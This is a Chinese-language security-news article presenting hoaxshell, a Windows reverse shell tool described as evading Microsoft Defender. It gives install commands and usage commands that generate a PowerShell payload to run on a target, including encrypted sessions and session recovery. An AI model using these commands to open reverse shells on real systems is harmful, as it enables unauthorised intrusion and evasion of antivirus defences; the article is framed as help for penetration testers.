官方公众号企业安全新浪微博
FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。
FreeBuf+小程序
关于hoaxshell
hoaxshell是一款功能强大的非传统Windows反向Shell,当前版本的Microsoft Defender和部分反病毒解决方案基本无法检测到hoaxshell的存在。该工具易于使用,不仅可以生成其自己的PowerShell Payload,而且还可以支持加密(SSL),可以帮助广大研究人员测试Windows系统的安全性。
当前版本的hoaxshell已在最新的Windows 11企业版和Windows 10专业版进行过测试。
工具下载
广大研究人员可以使用下列命令将该项目源码克隆至本地,并使用pip3和项目提供的requirements.txt安装该工具所需的其他依赖组件,最后给hoaxshell.py提供可执行权限:
git clone https://github.com/t3l3machus/hoaxshell cd ./hoaxshell sudo pip3 install -r requirements.txt chmod +x hoaxshell.py
工具使用
注意事项:作为一种可以绕过安全检测的方法,hoaxshell会在每次启动脚本时自动为会话id、URL路径和进程中使用的自定义http头的名称生成随机值。生成的Payload将仅适用于为其生成的实例,我们可以使用-g选项关闭此特性,并重新建立活动会话,或使用新的hoaxshell实例重用以前生成的Payload。
通过http生成基础Shell会话
sudo python3 hoaxshell.py -s <your_ip>
当你运行hoaxshell时,它将生成自己的PowerShell Payload,以便注入到目标主机中。默认情况下,为了方便起见,Payload使用的是base64编码。如果需要原始Payload,可以使用“raw*payload”命令或“-r”参数。当Payload在目标设备上运行之后,我们就可以对其运行PowerShell命令了。
加密Shell会话(https)
# 生成自签名证书: openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 # 以参数形式传递cert.pem和key.pem: sudo python3 hoaxshell.py -s <your_ip> -c </path/to/cert.pem> -k <path/to/key.pem>
生成的PowerShell Payload的长度将更长,因为还有一块代码需要负责禁用ssl证书验证。
获取会话模式
如果你意外关闭了终端,你还可以通过“获取会话模式”来重新启动hoaxshell,该模式将重新建立会话,但前提是我们的Payload仍然还在目标设备上运行:
sudo python3 hoaxshell.py -s <your_ip> -g
工具运行截图
Windows 10测试
Windows 11测试
工具演示视频
视频地址:https://www.you*tube.com/watch?v=SEufgD5UxdU
许可证协议
本项目的开发与发布遵循BSD-2-Clause开源许可证协议。
项目地址
hoaxshell:【GitHub传送门】